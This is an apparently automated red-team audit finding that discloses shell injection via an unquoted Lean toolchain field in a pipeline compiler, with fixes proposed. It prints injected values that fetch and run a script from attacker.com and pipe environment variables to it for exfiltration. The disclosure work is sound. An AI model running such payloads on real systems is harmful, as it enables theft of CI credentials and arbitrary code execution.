🔴 Red Team Audit — High: Shell injection via runtimes.lean.toolchain

## 🔴 Red Team Security Audit

**Audit focus**: Category A — Input Sanitization & Injection (Round 2)
**Severity**: High

### Findings

| # | Vulnerability | Severity | File(s) | Exploitable? |
|---|--------------|----------|---------|-------------|
| 1 | Shell injection via `runtimes.lean.toolchain` — value embedded unquoted in bash command | High | `src/runtimes/lean/extension.rs`, `src/runtimes/lean/mod.rs` | Yes |

---

### Details

#### Finding 1: Shell Injection via `runtimes.lean.toolchain`

**Description**:

The `runtimes.lean.toolchain` front matter field is embedded **unquoted and unvalidated** directly into a shell command in `generate_lean_install()`. Unlike the Python, Node.js, and .NET runtime extensions, which all call `validate::reject_pipeline_injection(version, ...)` in their `validate()` method, the Lean extension's `validate()` does not validate the toolchain value at all — only a bash-disabled warning is emitted.

The `SanitizeConfig` derive applied to `LeanOptions` runs `sanitize_config()` on the toolchain field, but `sanitize_config` **preserves newlines** (`\n`, `\r`, `\t`) and only neutralizes `##vso[` sequences; it does not block `;`, `&&`, `||`, `$()`, backticks, or newlines as shell metacharacters.

**Vulnerable code** (`src/runtimes/lean/mod.rs`):

```rust
pub fn generate_lean_install(config: &LeanRuntimeConfig) -> String {
let toolchain = config.toolchain().unwrap_or("stable");
let script = format!(
"\
set -eo pipefail
curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain {toolchain}
echo \"##vso[task.prependpath]$HOME/.elan/bin\"
...
```

The `{toolchain}` substitution is unquoted in the shell command.

**Missing validation** (`src/runtimes/lean/extension.rs`):

```rust
fn validate(&self, ctx: &CompileContext) -> Result> {
let mut warnings = Vec::new();
// Only checks if bash is disabled — NO injection check on toolchain value!
if is_bash_disabled { ... }
Ok(warnings)
}
```

**Contrast with Python/Node/Dotnet** — all call:
```rust
if let Some(version) = self.config.version() {
validate::reject_pipeline_injection(version, "runtimes..version")?;
}
```

**Attack vector**:

An attacker (or malicious pull request modifying the pipeline definition) sets:

```yaml
runtimes:
lean:
toolchain: "stable; curl (attacker.com/redacted) | bash"
```

This compiles to the following generated bash step:

```yaml
- bash: |
set -eo pipefail
curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain stable; curl (attacker.com/redacted) | bash
echo "##vso[task.prependpath]$HOME/.elan/bin"
...
displayName: "Install Lean 4 (elan)"
```

The `;` causes the injected command to run as a separate shell command after the elan installer exits. A newline variant also works:

```yaml
toolchain: "stable\ncurl (attacker.com/redacted) | bash"
```

which produces a syntactically valid YAML block scalar with the injected line properly indented.

**Execution context** (critical): The `{{ prepare_steps }}` marker is placed in `src/data/base.yml` **before AWF starts** — the Lean install step runs directly on the CI runner, outside the AWF network-isolation sandbox:

```yaml
{{ prepare_steps }} ← Lean install runs here, pre-AWF

{{ awf_path_step }}
# Start SafeOutputs HTTP server...
# [AWF starts here]
```

This means the injection executes with full CI runner network access and can read environment variables containing pre-AWF credentials (ADO read token, service connection secrets available to the runner).

**Proof of concept** malicious front matter:

```yaml
---
name: my-agent
description: test agent
runtimes:
lean:
toolchain: "stable; env | base64 | curl -s -d @- (attacker.com/redacted)
---
```

This would exfiltrate all environment variables (including any pipeline secrets visible pre-AWF) to an attacker-controlled endpoint.

**Impact**: Arbitrary shell command execution on the CI runner before AWF sandboxing is active. Potential impact includes:
- Exfiltration of ADO read tokens and other environment credentials available pre-AWF
- Arbitrary code execution on the build agent
- Bypassing AWF network isolation entirely (since the injected command runs before AWF starts)

**Suggested fix**:

1. **Immediate**: Add `reject_pipeline_injection` call in `LeanExtension::validate()` (matching the pattern already used by Python/Node/Dotnet):

```rust
fn validate(&self, ctx: &CompileContext) -> Result> {
// ... existing bash-disabled check ...

// Validate toolchain value for injection
if let Some(toolchain) = self.config.toolchain() {
validate::reject_pipeline_injection(toolchain, "runtimes.lean.toolchain")?;
}

Ok(warnings)
}
```

2. **Defense-in-depth**: Consider using a strict character allowlist for the toolchain value (e.g., alphanumeric + `/`, `:`, `.`, `-`) since valid Lean toolchain identifiers like `"stable"` or `"leanprover/lean4:v4.29.1"` only use these characters.

3. **Defense-in-depth**: Shell-quote the toolchain value in `generate_lean_install` (e.g., using `bash_single_quote_escape()`) so even if a shell-safe value slips through validation, it cannot inject commands.

---

### Audit Coverage

| Category | Status |
|----------|--------|
| A: Input Sanitization | ✅ Scanned (round 2) |
| B: Path Traversal | ✅ Scanned |
| C: Network Bypass | ✅ Scanned |
| D: Credential Exposure | ✅ Scanned |
| E: Logic Flaws | ✅ Scanned |
| F: Supply Chain | ✅ Scanned |

---
*This issue was created by the automated red team security auditor.*

> Generated by [Red Team Security Auditor](https://github.com/githubnext/ado-aw/actions/runs/26988907737) · sonnet46 5.6M · [◷](https://github.com/search?q=repo%3Agithubnext%2Fado-aw+is%3Aissue+%22gh-aw-workflow-call-id%3A+githubnext%2Fado-aw%2Fred-team-security%22&type=issues)